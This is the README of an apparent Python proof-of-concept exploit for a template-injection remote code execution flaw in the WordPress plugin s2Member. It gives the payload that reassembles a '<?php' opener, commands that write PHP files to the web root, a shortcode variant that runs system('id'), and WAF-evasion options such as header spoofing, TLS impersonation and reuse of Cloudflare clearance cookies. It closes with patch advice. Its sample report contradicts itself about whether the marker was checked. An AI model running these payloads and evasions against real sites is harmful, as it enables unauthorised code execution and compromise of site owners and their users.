
CVE-2026-86596 s2Member <= 260927 テンプレートインジェクションPoC(ラボ環境、IPN検証が必要)
s2Member <= 260927 のテンプレートインジェクション RCE に対する単一ファイルの Python PoC。
脆弱なコード:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
ペイロード:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() はリテラルの <? が存在しないため、そのままにします。
%%item_name%% の置換によってそれが挿入され、最後の %%(.+?)%% クリーンアップが
%%x%% を削除し、有効な <?php オープナーを残します。
python3 poc.py https://wordpress.lab
これが全体の流れです:
@thiscitze を含む cve_test.php を書き込み、https://wordpress.lab/cve_test.php を取得してマーカーを検証します。保護された投稿/ページ ID が 1 でない場合:
python3 poc.py https://wordpress.lab --item-number 123
.php がブロックされている場合は、プレーンテキストのマーカーを書き込みます:
python3 poc.py https://wordpress.lab --filename cve_test.txt
サイトがプロキシ検証キーを使用している場合:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
簡潔なレポート:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
レポートは3つの独立した問いに答えます:
RCE: NOT CONFIRMED は、HTTP ステータスが 200 であっても、スクリプトがコード実行を証明できなかったことを意味します。
stdout が TTY のときはカラーが有効になります。--color always で強制し、--color never で無効にできます。
ターゲットが WAF/チャレンジの背後にある場合、スクリプトは諦める前にリクエスト形状のバリアントを自動的に試します:
multipart/form-dataitem_name(無害なもの+ペイロード)item_name を伴う multipart/form-dataX-Forwarded-For / X-Real-IP / CF-Connecting-IP の偽装ヘッダーcurl_cffi によるブラウザ TLS 偽装(pip install curl_cffi)--http-proxy が指定された場合の HTTP プロキシオプションの制御:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion は自動バリアントを無効にします。JS チャレンジでは依然として実際のブラウザセッションや PayPal 発信の IPN が必要になる場合があり、ヘッダーによるトリックは確実なバイパス手段ではありません。
WordPress ルートにテストファイルを書き込み、それを検証します:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
ペイロードは以下を含む cve_test.php を書き込みます:
<?php echo "@thiscitze"; ?>
.php がブロックされている場合、または不要な場合は、代わりにプレーンテキストのマーカーを記述します:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
ファイルは ABSPATH(WordPress のファイルシステムルート)に書き込まれます。
WordPress がサブディレクトリにインストールされている場合は、--test-url を適宜調整してください。
python3 poc.py --simulate
Expected:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
ショートコード版:
python3 poc.py --simulate --shortcode --command "system('id');"
これにより [s2If php="system('id');"] が生成され、テンプレートが do_shortcode() / [s2If php] のシンクに到達した場合に実行されます。
python3 poc.py --check https://wordpress.lab
readme.txt または s2member.php を読み取り、バージョンを 260927 / 261001 と比較します。
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2MemberはPayPalとのIPN検証(POSTバック)またはプロキシ検証キーによって検証を行います。 直接偽造されたPOSTは通常拒否されます。ラボ環境では:
item_name がペイロードである実際のPayPalサンドボックスIPNを使用する、またはpython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
スクリプトはHTTPレスポンスを出力し、ターゲットが検証を拒否した場合は警告を表示します。
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
ページを取得し、ペイロードがエコーする CVE-2026-86596 を検索します。
これは、トラッキングコード / ショートコードのシンクが IPN の後にレンダリングされる場合に有用です。
custom はサイトのホスト名で始まる必要がある(または skip_ipn_domain_validation
が有効になっている必要がある)。item_number。do_shortcode() / [s2If php=...] で
レンダリングされるトラッキングコード、または通知テンプレートを eval するカスタム統合。
デフォルトのプレーンなメール本文自体は wp_mail 経由で送信され、eval はされません。s2Member 261001 以降に更新してください(現在: 261017)。この修正では、
逐次的な補間が fill_paypal_template_once() に置き換えられ、トラッキング先が
[A-Za-z0-9 @._-] にサニタイズされます。
PR:N)は未認証を示しています。パッチ適用の優先度としてはリモート / 未認証として
扱ってください。ただし、ご利用の環境で IPN / プロキシの要件を検証してください。